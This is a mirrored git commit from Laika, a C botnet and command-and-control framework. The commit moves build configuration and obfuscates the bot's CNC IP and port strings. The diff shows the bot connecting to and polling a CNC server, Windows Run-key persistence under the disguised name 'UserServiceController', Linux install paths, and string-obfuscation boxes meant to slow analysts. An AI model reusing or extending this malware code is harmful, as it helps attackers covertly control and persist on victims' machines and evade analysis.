mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
VMBoxGen refactor, obfuscate static CNC ip & port strings
- VMBoxGen is built before shared lib - VMBoxGen has no reliance on the shared lib, just the config file - main config was moved to the root cmakelists
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parent
8afaa4d157
commit
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2
.gitmodules
vendored
2
.gitmodules
vendored
@ -1,3 +1,3 @@
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[submodule "cmake-modules/libsodium"]
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path = lib/libsodium
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path = libsodium
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url = https://github.com/robinlinden/libsodium-cmake.git
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@ -54,6 +54,40 @@ endif ()
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set(SODIUM_DISABLE_TESTS ON)
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set(SODIUM_MINIMAL ON)
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set(SODIUM_STATIC ON)
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add_subdirectory(libsodium)
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# ========================================== [[ CONFIG DEFAULTS ]] ==========================================
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set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h)
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# DO NOT USE THESE KEYS, TESTING ONLY (TODO: make vmboxgen auto gen these)
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if(NOT LAIKA_PUBKEY)
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set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
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endif ()
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if(NOT LAIKA_PRIVKEY)
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set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
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endif ()
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if(NOT LAIKA_CNC_IP)
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set(LAIKA_CNC_IP "127.0.0.1")
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endif ()
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if(NOT LAIKA_CNC_PORT)
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set(LAIKA_CNC_PORT "13337")
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endif ()
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# version details
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set(LAIKA_VERSION_MAJOR 0)
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set(LAIKA_VERSION_MINOR 3)
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message(STATUS "Building config file...")
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configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h)
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# config vm boxes
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add_subdirectory(tools/vmboxgen)
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# =========================================== [[ BUILD TOOLING ]] ===========================================
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# compile laikalib, tools, cnc & bot
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add_subdirectory(lib)
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3
USAGE.md
Normal file
3
USAGE.md
Normal file
@ -0,0 +1,3 @@
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# Laika Build Process
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Laika has a specific setup process that need some explanation. Before
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@ -1,5 +1,6 @@
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#include <stdio.h>
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#include "lbox.h"
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#include "lconfig.h"
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#include "lerror.h"
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#include "ltask.h"
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@ -12,6 +13,10 @@
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#else
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int main() {
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#endif
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/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
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not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
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LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
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LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
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struct sLaika_bot *bot;
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#ifdef LAIKA_PERSISTENCE
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@ -25,7 +30,7 @@
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LAIKA_TRY
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/* connect to test CNC */
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laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
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laikaB_connectToCNC(bot, cncIP, cncPORT);
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/* while connection is still alive, poll bot */
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while (laikaS_isAlive((&bot->peer->sock))) {
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@ -46,5 +51,6 @@
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laikaB_unmarkRunning();
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#endif
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/* vm boxes are left opened */
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return 0;
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}
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@ -2,42 +2,11 @@ cmake_minimum_required(VERSION 3.16)
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set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include)
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# DO NOT USE THESE KEYS, TESTING ONLY
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if(NOT LAIKA_PUBKEY)
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set(LAIKA_PUBKEY "40d5534aca77d1f5ec2bbe79dd9d0f52a78148918f95814404cefe97c34c5c27")
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endif ()
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if(NOT LAIKA_PRIVKEY)
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set(LAIKA_PRIVKEY "90305aa77023d1c1e03265c3b6af046eb58d6ec8ba650b0dffed01379feab8cc")
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endif ()
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if(NOT LAIKA_CNC_IP)
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set(LAIKA_CNC_IP "127.0.0.1")
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endif ()
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if(NOT LAIKA_CNC_PORT)
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set(LAIKA_CNC_PORT "13337")
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endif ()
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# version details
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set(LAIKA_VERSION_MAJOR 0)
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set(LAIKA_VERSION_MINOR 2)
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set(SODIUM_DISABLE_TESTS ON)
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# vmbox config location
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set(LAIKA_VMBOXCONFIG ${LIB_INCLUDEDIR}/lboxconfig.h PARENT_SCOPE)
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project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
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message(STATUS "Building config file...")
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configure_file(${LIB_INCLUDEDIR}/lconfig.h.in ${LIB_INCLUDEDIR}/lconfig.h)
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# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder
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set_property(GLOBAL PROPERTY USE_FOLDERS ON)
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# include libsodium
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add_subdirectory(libsodium)
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# compile LaikaLib library
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file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
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file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
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@ -44,4 +44,6 @@
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#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
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#define LAIKA_WIN_REG_VAL "UserServiceController"
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#define LAIKA_VM_CODESIZE 512
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#endif
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@ -14,7 +14,6 @@
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#include "laika.h"
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#include "lerror.h"
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#define LAIKA_VM_CODESIZE 512
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#define LAIKA_VM_STACKSIZE 64
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#define LAIKA_VM_CONSTSIZE 32
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@ -1,5 +1,4 @@
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cmake_minimum_required(VERSION 3.16)
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add_subdirectory(vmboxgen)
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add_subdirectory(genkey)
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add_subdirectory(vmtest)
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@ -8,7 +8,7 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
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# compile vmTest
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file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
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add_executable(VMBoxGen ${VMTESTSOURCE})
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target_link_libraries(VMBoxGen PUBLIC LaikaLib)
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target_link_libraries(VMBoxGen PUBLIC)
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# add the 'DEBUG' preprocessor definition if we're compiling as Debug
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target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
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@ -16,8 +16,7 @@ target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
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# generate the VMBOXCONFIG file
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if(LAIKA_OBFUSCATE)
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add_custom_command(TARGET VMBoxGen POST_BUILD
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DEPENDS VMBoxGen
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COMMAND VMBoxGen ${LAIKA_VMBOXCONFIG}
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COMMENT "Generating VMBox data & keys..."
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COMMENT "Generating VMBox data & keys.."
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)
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endif ()
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@ -1,12 +1,10 @@
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#include <inttypes.h>
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#include "lmem.h"
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#include "lvm.h"
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#include "lbox.h"
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#include "lsodium.h"
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#include "lconfig.h"
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#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0);
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#define RANDBYTE (rand() % UINT8_MAX)
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@ -73,6 +71,9 @@ int main(int argv, char **argc) {
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srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */
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fprintf(out, PREAMBLE);
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/* shared */
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MAKESKIDDATA(LAIKA_CNC_IP);
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MAKESKIDDATA(LAIKA_CNC_PORT);
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/* linux */
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MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
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MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
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@ -86,6 +87,8 @@ int main(int argv, char **argc) {
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MAKESKIDDATA(LAIKA_WIN_REG_VAL);
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fprintf(out, POSTAMBLE);
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fclose(out);
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printf("Wrote %s\n", argc[1]);
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return 0;
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}
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